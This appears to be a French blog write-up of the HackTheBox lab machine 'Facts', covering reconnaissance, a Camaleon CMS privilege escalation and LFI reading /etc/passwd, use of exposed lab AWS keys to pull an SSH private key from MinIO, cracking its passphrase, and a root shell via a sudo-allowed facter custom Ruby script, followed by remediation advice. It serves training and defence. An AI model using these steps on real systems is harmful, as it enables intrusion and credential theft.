Post

HTB - Facts

HTB - Facts

Résumé

La machine Facts est une machine Linux de difficulté Easy sur HackTheBox. Elle met en avant une chaîne d’exploitation web basée sur l’analyse d’un CMS vulnérable, l’extraction de clés sensibles depuis un stockage cloud aws, la récupération d’une clé SSH privée et enfin l’élévation de privilèges locale via un binaire autorisé en sudo.

Reconnaissance

Nous commençons par identifier les ports ouverts sur la machine cible :

1
2
┌──(root㉿kali)-[~]
└─# nmap -Pn -p- -T4 10.129.2.4
1
2
3
4
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
54321/tcp open  unknown

Trois ports sont exposés :

  • 22/tcp : SSH
  • 80/tcp : HTTP
  • 54321/tcp : service inconnu

Nous poursuivons avec un scan plus approfondi :

1
2
┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p 22,80,54321 10.129.2.4
1
2
3
4
5
6
7
8
9
10
11
12
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://facts.htb:9001
| ...
  • La machine tourne sur un Ubuntu 3.2
  • Le port 22 expose un service OpenSSH 9.9p1
  • Le port 80 expose un service HTTP exécuté par le serveur web nginx 1.26.3
  • Le port 54321 exécute un service HTTP MinIO
  • Les requêtes HTTP sont redirigées, pour les ports 80 et 54321, respectivement sur http://facts.htb et http://facts.htb:9001

Ce dernier point est important. Ces redirections nous indiquent que le serveur utilise probablement des virtual hosts, ce qui laisse penser que plusieurs services / sites peuvent être hébergés derrière la même adresse IP et le même port.

-> J’explique plus en détail ce raisonnement ici:

Conclusion intermédiaire :

  • Une énumération des virtual hosts est pertinente
  • Un service inconnu est exposé derrière le port 54321

Reconnaissance du site facts.htb

Après l’ajout de facts.htb dans le /etc/hosts, nous pouvons accéder au site via http://facts.htb.

Le site présenté est un blog où rien ne semble exploitable au premier abord lors de la navigation.

Lançons deux phases énumérations :

  • des virtual hosts avec ffuf
  • des endpoints du site avec gobuster
1
2
┌──(root㉿kali)-[~/htb/facts/]
└─# ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.facts.htb" -u http://10.129.2.4 -fw <WORD>
1
2
┌──(root㉿kali)-[~/htb/facts/]
└─# gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirb/common.txt -x php

La première énumération ne donne rien. La deuxième montre les endpoints associés à un dashboard administrateur :

1
2
3
4
5
/admin                (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.php            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.cgi            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.php            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.pl             (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]

Sur http://facts.htb/admin, nous pouvons créer un compte ce qui révèle, après connexion, le CMS utilisé pour le site et sa version : Camaleon CMSv2.9.0.

Escalade de privilège sur l’application

Cette version de Camaleon est vulnérable à deux CVE : CVE-2025-2304, CVE-2024-46987.

La première nous permet de faire une élévation de privilège sur notre compte nouvellement créé. Nous pouvons passer administrateur sur le dashboard grâce au PoC de d3vn0mi sur github :

Img1

Ce nouveau dashboard révèle une paire de clés qui sont configurées pour l’accès au service de stockage aws. Cela permet d’accéder au service exposé sur le port 54321.

Img2

Récupération d’une clé privée SSH et bruteforce de la passphrase

Ces informations nous permettent de nous connecter et d’énumérer les buckets du cloud et de récupérer le contenu du répertoire internal/.ssh :

1
2
3
4
5
6
┌──(root㉿kali)-[~/htb/facts/]
└─# aws configure
AWS Access Key ID [****************2224]: AKIA548AA08099ECAD0F
AWS Secret Access Key [****************S0lt]: 5HcmYZruAgE4wxnQj8UTDAL4fyuxcLMl1DJkfDBj
Default region name [us-east-1]: us-east-1
Default output format [json]: json
1
2
3
4
┌──(root㉿kali)-[~/htb/facts/]
└─# aws s3 ls s3://internal/.ssh --recursive   --endpoint-url http://facts.htb:54321
2026-02-19 08:44:44         82 .ssh/authorized_keys
2026-02-19 08:44:44        464 .ssh/id_ed25519

Nous pouvons récupérer cette clé et tenter de la brute-forcer pour récupérer la passphrase :

1
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
1
2
┌──(root㉿kali)-[~/htb/facts/]
└─# ssh2john id_ed25519 > id_ed25519.hash
1
2
3
┌──(root㉿kali)-[~/htb/facts/]
└─# john --show id_ed25519.hash
id_ed25519:dragonballz

Récupération du nom d’utilisateur

Il nous manque le nom d’un utilisateur valide pour se connecter, que nous pouvons récupérer grâce à la CVE-2024-46987. Cette CVE concerne une LFI à l’endpoint /admin/media/download_private_file?file=, ce qui nous permet de récupérer, à l’aide de curl par exemple, le contenu de /etc/passwd :

1
2
3
root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Nous pouvons désormais nous connecter à l’utilisateur trivia :

1
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

Post-Exploitation et élévation de privilèges

Nous avons les droits sudo sur le binaire facter :

1
2
3
trivia@facts:~$ sudo -l
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Le binaire facter est un outil Ruby utilisé pour collecter des “facts” système. Il possède une option –custom-dir qui permet de spécifier un répertoire contenant des scripts Ruby personnalisés. Puisqu’il est exécuté avec sudo, tout code Ruby fourni sera exécuté avec les privilèges root.

On crée un script Ruby permettant d’exécuter une commande arbitraire :

1
2
3
4
5
Facter.add('root') do
  setcode do
    system('/bin/bash')
  end
end

Puis on exécute facter en utilisant ce script :

1
trivia@facts:/tmp/facts$ sudo facter --custom-dir=/tmp/root_exploit

Ce qui nous ouvre un shell root :

1
2
root@facts:/tmp/facts# id
uid=0(root) gid=0(root) groups=0(root)

Conclusion

La machine Facts repose sur une chaîne d’exploitation web. Une vulnérabilité dans le CMS Camaleon permet d’abord d’élever les privilèges d’un utilisateur standard vers un compte administrateur. Cet accès privilégié est ensuite exploité pour récupérer des identifiants de stockage cloud exposés dans la configuration de l’application, menant à l’exfiltration d’une clé privée SSH. Après le bruteforce de sa passphrase et l’identification d’un utilisateur valide via une vulnérabilité de type LFI, un premier accès SSH est obtenu. L’élévation de privilèges finale repose sur l’abus d’un binaire sudo mal configuré, permettant l’exécution de code arbitraire en tant que root via un script Ruby personnalisé.

Corrections à apporter

  • Mettre à jour Camaleon CMS vers une version corrigée afin d’éliminer les vulnérabilités CVE-2025-2304 et CVE-2024-46987.
  • Restreindre la création de comptes utilisateurs publics ou implémenter une validation manuelle.
  • Appliquer un contrôle strict des rôles côté serveur afin d’empêcher toute modification non autorisée des privilèges.
  • Corriger l’endpoint /admin/media/download_private_file pour empêcher toute lecture de fichiers arbitraires (path traversal).

Ressources utilisées

This post is licensed under CC BY 4.0 by the author.